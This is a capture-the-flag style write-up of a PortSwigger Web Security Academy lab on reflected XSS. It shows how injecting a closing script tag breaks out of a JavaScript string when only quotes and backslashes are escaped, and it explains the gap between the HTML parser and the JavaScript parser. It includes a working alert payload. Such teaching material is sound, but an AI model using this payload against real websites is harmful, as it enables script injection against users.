Reflected XSS JS string single quote backslash escaped
| Field | Value |
|---|---|
| Platform | PortSwigger Web Security Academy |
| Difficulty | Practitioner |
| Vulnerability | Reflected XSS — Breaking Out of a JavaScript String with Escaped Quotes and Backslashes |
| Injection Point | JavaScript string inside <script> block |
| Goal | Execute alert(0) by escaping the JS string context |
Lab — Reflected XSS: Breaking Out of a JavaScript String with Escaped Quotes and Backslashes¶
Solution Walkthrough¶
Searching for teto reveals the injection point — our input lands inside a JavaScript string:
<script>
var searchTerms = 'teto';
document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">');
</script>
Step 1 — Try breaking out with a single quote
teto'; var miku = 'miku
var searchTerms = 'teto\'; var miku = \'miku';
The application escapes our ' with a backslash — turning ' into \'. The quote is neutralized and remains inside the string.
Step 2 — Try escaping the backslash
teto\'
var searchTerms = 'teto\\\'';
The application escapes both the \ and the ' — our \ becomes \\ and the ' becomes \'. We cannot break out of the string this way regardless of how many backslashes we prepend.
Step 3 — Pivot: inject a closing script tag
Since single quote escaping is robust, try injecting </script> — the key insight here:
</script><script>alert(0)</script>
<script>
var searchTerms = '</script>
<script>alert(0)</script>
Alert fires and the lab is solved :P
Why This Works — HTML Parser vs JavaScript Parser¶
This is the core insight here, and it's worth explaining clearly.
When a browser loads a page it uses two different parsers sequentially:
HTML Parser → builds the DOM → hands script blocks to JS Engine
The HTML parser reads the raw source and looks for HTML structure — it finds <script> to know where JavaScript starts, and it looks for </script> to know where it ends. Critically, the HTML parser does not understand JavaScript syntax — it does not know or care whether a </script> it finds is inside a string, a comment, or any other JavaScript construct. It just finds the closing tag and treats everything before it as the script block contents.
So when the page contains:
var searchTerms = '</script>
The HTML parser sees </script> and immediately closes the script block there — even though from a JavaScript perspective the </script> is inside a string. The JavaScript engine only receives:
var searchTerms = '
Which it ignores as an incomplete statement. The HTML parser then sees:
<script>alert(0)</script>
...as a fresh, complete script block and hands it to the JavaScript engine, which executes alert(0).
The full parsing sequence:
HTML parser reads: var searchTerms = '</script>
↑
Sees </script> — closes the script block here
Everything before this is handed to JS (broken, ignored)
HTML parser reads: <script>alert(0)</script>
↑ new script block — complete and valid
Hands alert(0) to JS engine → executes
This is why backslash-escaping single quotes does not prevent this attack — the escape only matters to the JavaScript parser, which never even sees the </script> because the HTML parser consumed it first.